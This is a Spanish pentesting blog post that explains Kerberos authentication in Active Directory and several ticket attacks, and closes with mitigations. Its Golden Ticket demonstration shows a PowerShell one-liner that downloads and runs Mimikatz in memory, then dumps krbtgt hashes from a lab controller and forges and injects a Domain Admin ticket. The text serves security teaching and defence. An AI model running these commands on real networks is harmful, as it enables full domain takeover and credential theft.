Tickets de Kerberos: Comprensión y explotación

21 - Mar - 2017 - Eloy Pérez

Tabla de contenidos

El objetivo de este post es explicar en qué consisten los ataques más comunes que se pueden realizar en una auditoría de seguridad o pentesting contra el protocolo Kerberos utilizado en los dominios de directorio activo de Microsoft.

Para ello primero se explicará cómo funciona Kerberos a la hora de conceder acceso a los recursos de la red y luego sobre este proceso se verá cómo funcionan los ataques más famosos sobre los tickets de Kerberos. A continuación se mostrará como realizar el ataque de Golden ticket con la herramienta mimikatz. Por último, se hablará sobre las posibles mitigaciones contra este tipo de ataques.

Funcionamiento de kerberos en directorio activo

En un directorio activo la autenticación se realiza a través de Kerberos y este es un protocolo que se basa en proporcionar a los usuarios tickets que estos presentan ante los diferentes recursos de la red para verificar sus permisos.

En el protocolo de Kerberos existen 3 elementos de infraestructura principales:

La máquina cliente, donde se encuentra el usuario que quiere acceder al servicio.
La máquina que ofrece el servicio, es decir, el sistema al que el usuario quiere acceder.
El Key Distribution Center (KDC), que es un servidor central que se encarga de autenticar a los usuarios y de repartir entre estos los tickets para que se puedan identificar contra las máquinas con los servicios. En el caso de un directorio activo el KDC está instalado en el controlador de dominio o Domain Controller (DC).

Por otro lado existen 2 tipos de tickets que un usuario debe poseer para poder acceder a los servicios del dominio:

Los Service Tickets (ST) que se utilizan para identificarse contra los servicios
Los Ticket Granting Ticket (TGT) que sirven para autenticarse contra el servidor Kerberos y obtener los ST para los diferentes servicios.

El siguiente esquema muestra la secuencia de mensajes que son necesarios para llevar a cabo del proceso de autenticación de usuario mediante Kerberos:

Esquema de autenticación del cliente con tickets Kerberos

Mensajes de Kerberos

Por tanto, como se muestra en el esquema anterior, lo primero que un usuario debe conseguir es un TGT, para ello debe autenticarse contra el KDC enviando el siguiente mensaje:

Mensaje de solicitud de TGT

En dicho mensaje se especifican 3 cosas:

El nombre del usuario que se está autenticando
El servicio que se encarga de proporcionar el TGT, es decir, el servicio de Kerberos del KDC.
Un timestamp cifrado con el hash NTLM obtenido de la contraseña del usuario

Una vez llega este mensaje al KDC este descifra el timestamp con el hash NTLM del usuario y verifica que las credenciales son válidas.Si la petición es correcta el servidor devolverá el siguiente mensaje:

Mensaje de respuesta con el TGT

Este mensaje se divide en 3 apartados:

El nombre de usuario autenticado
Una clave de sesión que se utilizará para cifrar los siguientes mensajes intercambiados con el KDC y el tiempo de vida del TGT, ambos cifrados con el hash NTLM del usuario (con el objetivo de que el usuario pueda leer estos campos)
El TGT, que se encuentra cifrado con el hash NTLM de la cuenta krbtgt (para que solamente el KDC sea capaz de leerlo), y que incluye la clave de sesión y el tiempo de vida del TGT, y además un token que contiene la estructura PAC que es donde se especifican los privilegios que posee el propietario del TGT.

Una vez terminado este proceso el usuario ya posee un TGT que podrá ser usado para solicitar los ST, y acceder a los servicios del dominio ligados a Kerberos.

Para solicitar un ST se debe enviar al KDC el siguiente mensaje:

Mensaje de solicitud de un ST

En este mensaje se pueden apreciar 3 apartados:

El nombre del servicio solicitado
El nombre de usuario y un timestamp cifrados con la clave de sesión establecida en el TGT
El TGT

Cuando el KDC recibe este mensaje comprueba los privilegios del usuario contenidos en el TGT y devuelve un ST en el siguiente mensaje:

Mensaje de respuesta con el ST

Este mensaje se divide en 2 partes:

El nombre del servicio, un timestamp y la clave de sesión del servicio, todo ello cifrado con la clave de sesión especificada en el TGT (para que el usuario pueda leerlo)
El ST, que incluye lo siguiente: el nombre del usuario, el nombre del servicio, la clave de sesión del servicio, una copia del token con los permisos del usuario para que la máquina del servicio pueda verificar que dicho usuario tiene privilegios para acceder al servicio y un timestamp que indica el momento en que se creó, todo esto cifrado con el hash NTLM de la cuenta de dominio asociada al servicio (para que solo el servicio pueda leerlo)

Y si todo ha salido bien, el usuario ya tiene el ST que le permite acceder al servicio deseado.

Como apunte importante se debe decir que tanto los TGT como los ST se encuentran cacheados en el ordenador donde el usuario ha iniciado sesión, en concreto dentro de la memoria del proceso lsass, que se encarga de la autenticación. Este proceso también se encarga de almacenar otra información importante como los diferentes hashes (LM, NTLM, SHA1…) de la contraseña de los usuarios autenticados en la máquina, e incluso la propias contraseñas en claro. Teniendo esto en cuenta, un usuario con suficientes permisos, como suele ser el administrador local del ordenador, podría extraer toda esta información del proceso para todos los usuarios con cuenta iniciada en el ordenador. Para esto, se suele utilizar la herramienta Mimikatz, que cuenta con un módulo que permite extraer dichas credenciales.

Ataques a kerberos

Teniendo en cuenta el procedimiento anteriormente explicado vamos a ver como funcionan los siguientes ataques orientados Kerberos de directorio activo:

Overpass The Hash/Pass The Key
Pass The Ticket
Golden Ticket y Silver Ticket
Kerberoasting

Overpass The Hash/Pass The Key (PTK)

La definición general del ataque Pass The Hash (PTH) es la de ataque que utiliza el hash del usuario para conseguir suplantar al mismo. LLevado al campo de los tickets Kerberos se denomina Overpass The Hash o Pass The Key.

Si se observa el procedimiento por el cual se obtiene un TGT, se puede ver que si un atacante consigue el hash de un usuario podría construir un mensaje de solicitud de un TGT válido con el cual acceder a los recursos del dominio a los que ese usuario tiene acceso sin conocer la contraseña del mismo.

Pass The Ticket (PTT)

El Pass The Ticket se trata de obtener un ticket de usuario y usarlo para obtener acceso a los recursos para los que el usuario tenga permisos.

Esto generalmente se lleva a cabo obteniendo TGT de un usuario, ya que si el atacante se hace con un ST el ataque podría fallar ya que cuenta con ciertas protecciones.

Cuando se envían un ST a la máquina que proporciona el servicio esta compara el timestamp incluido en el ST (el momento en que se creó el ticket) con el momento en que se envió el ticket y se descarta si la diferencia es mayor a 2 minutos. Además el primer ticket enviado a la máquina del servicio (el del usuario legítimo la mayoría de las veces) se cachea en su memoria y se rechazan los siguientes.

Por ello lo común es hacerse con un TGT que no cuenta con estas protecciones, aunque si se debe tener en cuenta que tiene un tiempo máximo de vida, normalmente 10 horas, tras las cuales el ticket caducará. Además el TGT no está restringido a un único servicio sino que se puede utilizar para solicitar cualquier servicio al cual el propietario tenga acceso.

Kerberoasting

El Kerberoasting trata de usar los ST para realizar cracking de las contraseñas de los usuarios offline.

Como se ha visto anteriormente, los ST vienen cifrados con el hash NTLM de la cuenta de dominio a la que está ligada el servicio, por lo que si un usuario solicita un ST de un servicio que está ligado a un usuario, una vez obtenido el ST se lo puede llevar a otra máquina e intentar crackear la contraseña del usuario, que por lo general suele tener contar con bastantes privilegios en el dominio, o al menos en la máquina en la que se ejecuta el servicio.

El principio podría extender a cuentas de ordenador que estén ligadas a los servicios e incluso a la cuenta krbtgt si se extrae el TGT, pero las contraseñas de estas cuentas son generadas automáticamente y se trata de contraseñas demasiado complejas como para ser crackeadas.

Golden Ticket y Silver Ticket

El objetivo del ataque del Golden Ticket es construir un TGT, para lo cual se necesita el hash de la cuenta krbtgt, ya que es el que se usa para cifrar dicho ticket. Una vez obtenido este hash es posible construir un TGT con la caducidad que se desee, y lo más importante, con los permisos que uno quiera, consiguiendo incluso privilegio de administrador de dominio.

Se debe tener en cuenta que la validez de un TGT depende de 2 cosas, la caducidad especificada y el hash NTLM con el que está cifrado (el de la contraseña de la cuenta krbtgt), por tanto, mientras el tiempo de vida no venza o se cambie la contraseña de la cuenta krbtgt, el ticket seguirá siendo válido independientemente de si expira la contraseña del usuario que se suplanta.

El concepto del Silver Ticket es similar, solo que esta vez el ticket que se construye es un ST y para ello lo que se requiere es el hash NTLM de la cuenta de dominio asociada al servicio al que se quiere acceder.

Demostración Golden Ticket

Veremos ahora como es posible construir un Golden ticket utilizando la herramienta Mimikatz.

Lo primero que debe hacerse es conseguir los hashes de la cuenta krbtgt que se encuentra almacenados en el archivo NTDS.DIT de los controladores de dominio:

Para ello se debe ejecutar el mimikatz en el controlador de dominio, personalmente prefiero utilizar el script de powershell Invoke-Mimikatz del repositorio Empire que te permite ejecutar el Mimikatz directamente en memoria.

Si ejecutamos la siguiente instrucción en una Powershell podremos descargar el código de la utilidad y cargarlo directamente en memoria:

PS C:\WINDOWS\system32> IEX ([System.Text.Encoding]::UTF8.GetString((New-Object system.net.WebClient).DownloadData("https://raw.githubusercontent.com/adaptivethreat/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1")))

Una vez descargado y cargado se ejecuta el Mimikatz para extraer los hashes de la cuenta krbtgt (para hacer esto es necesario contar con permisos de administrador en el controlador de dominio):

PS C:\WINDOWS\system32> Invoke-Mimikatz -Command '"lsadump::lsa /inject /name:krbtgt"'
Hostname: WIN-9LJHAUJKGH3.test.virtual / S-1-5-21-1126339692-2329256024-2918214878

  .#####.   mimikatz 2.1 (x64) built on Dec 11 2016 18:05:17
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # lsadump::lsa /inject /name:krbtgt
Domain : TEST / S-1-5-21-1126339692-2329256024-2918214878

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    LM   :
    NTLM : 78ec7d4703bd93bfc6f315e8be2a0505

 * WDigest
    01  a29ea599962f7a22c82f994e1c9cbd23
    02  f9d478222fd20ef62008d33912965452
    03  78183dc53572b1d1cf8d9ec3334f1af9
    04  a29ea599962f7a22c82f994e1c9cbd23
    05  f9d478222fd20ef62008d33912965452
    06  768f0d27d7f1a401128fa4d9dfe0fe05
    07  a29ea599962f7a22c82f994e1c9cbd23
    08  cbfe851527c1ee2a94ce718de92d48de
    09  cbfe851527c1ee2a94ce718de92d48de
    10  cab3cee0de82aaaf89dde189a4b65a7c
    11  3304c3951f18774e3042171dcf83d81f
    12  cbfe851527c1ee2a94ce718de92d48de
    13  9ecfb92a334e791a2dd0b84a1e2673bb
    14  3304c3951f18774e3042171dcf83d81f
    15  30d13cafdad8bf820491d908a97bda68
    16  30d13cafdad8bf820491d908a97bda68
    17  107e3aa8e86408187c697cd3d9bbe74a
    18  cad84ce23627af0a56aaaefa324ac1f4
    19  fccd8b52fdd36177c39a3d22357b2d26
    20  884c3427f704916b23c7daede8d3d98a
    21  101fc8a7b2c38f0f71fe3781c1a23b71
    22  101fc8a7b2c38f0f71fe3781c1a23b71
    23  58130a56370f77dfaaf7851004a8972a
    24  99fb09a2eb1647739a689058c66b774f
    25  99fb09a2eb1647739a689058c66b774f
    26  b87ff24e8ab8d40e08f9f92490346f65
    27  51af7632f142ccfa43143fea62885479
    28  845c45eaf7c2c151a5b5bbe87f6b81dc
    29  de8bbff44216f36f23ada8df8195815e

 * Kerberos
    Default Salt : TEST.VIRTUALkrbtgt
    Credentials
      des_cbc_md5       : cbc1d9c819b91f6e

 * Kerberos-Newer-Keys
    Default Salt : TEST.VIRTUALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 374389044ea10da3184e9c5e68fd4c06f9d82321c1d511f8bf45b39806e08b10
      aes128_hmac       (4096) : 9fb68e4e1608b61f4a46d476935da269
      des_cbc_md5       (4096) : cbc1d9c819b91f6e

Una vez obtenemos los hashes es posible construir un TGT o Golden Ticket para suplantar al Administrador de Dominio durante 10 años (o el período especificado):

PS C:\WINDOWS\system32> Invoke-Mimikatz -Command '"kerberos::golden /domain:test.virtual /sid:S-1-5-21-1126339692-2329256024-2918214878 /rc4:78ec7d4703bd93bfc6f315e8be2a0505 /user:Administrador /id:500 /groups:500,501,513,512,520,518,519 /ticket:gold.kirbi "'
Hostname: WIN-9LJHAUJKGH3.test.virtual / S-1-5-21-1126339692-2329256024-2918214878

  .#####.   mimikatz 2.1 (x64) built on Dec 11 2016 18:05:17
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # kerberos::golden /domain:test.virtual /sid:S-1-5-21-1126339692-2329256024-2918214878 /rc4:78ec7d
4703bd93bfc6f315e8be2a0505 /user:Administrador /id:500 /groups:500,501,513,512,520,518,519 /ticket:gold.kirbi
User      : Administrador
Domain    : test.virtual (TEST)
SID       : S-1-5-21-1126339692-2329256024-2918214878
User Id   : 500
Groups Id : *500 501 513 512 520 518 519
ServiceKey: 78ec7d4703bd93bfc6f315e8be2a0505 - rc4_hmac_nt
Lifetime  : 23/12/2016 11:09:01 ; 21/12/2026 11:09:01 ; 21/12/2026 11:09:01
-> Ticket : gold.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

Ahora ya podemos guardar el fichero “gold.kirbi” con el Golden ticket que tiene 10 años de duración para cuando se necesite usar. Si se quiere inyectar el ticket se debe ejecutar lo siguiente:

PS C:\WINDOWS\system32> Invoke-Mimikatz -Command '"kerberos::ptt gold.kirbi"'
* File: 'gold.kirbi': OK

Y con esto ya se poseen permisos de administrador en todo el dominio durante 10 años aunque el Administrador se cambie la contraseña.

Mitigaciones

Mitigación del Golden Ticket

Para evitar el uso de Golden Tickets de larga duración la medida que se debe tomar es resetear periódicamente la contraseña de la cuenta krbtgt en todos los controladores de dominio, para ello se puede utilizar el siguiente script: https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51

La contraseña debe ser reseteada 2 veces, debido a que por temas de usabilidad, los tickets que utilicen como clave de cifrado el hash NTLM de la contraseña de krbtgt previa a la actual todavía serán considerados como válidos. Sin embargo se debe tener en cuenta que solamente es posible cambiar la contraseña de la cuenta krbtgt si el nivel funcional del dominio es igual o superior a Windows Server 2008.

Mitigaciones Generales

Los tipos de ataques que se acaban de describir explotan fallos inherentes al protocolo Kerberos por lo que no existe una forma fácil de prevenirlos, sin embargo, Microsoft ha puesto a disposición del público una guía explicando como mitigar este tipo de ataques: https://www.microsoft.com/en-us/download/details.aspx?id=36036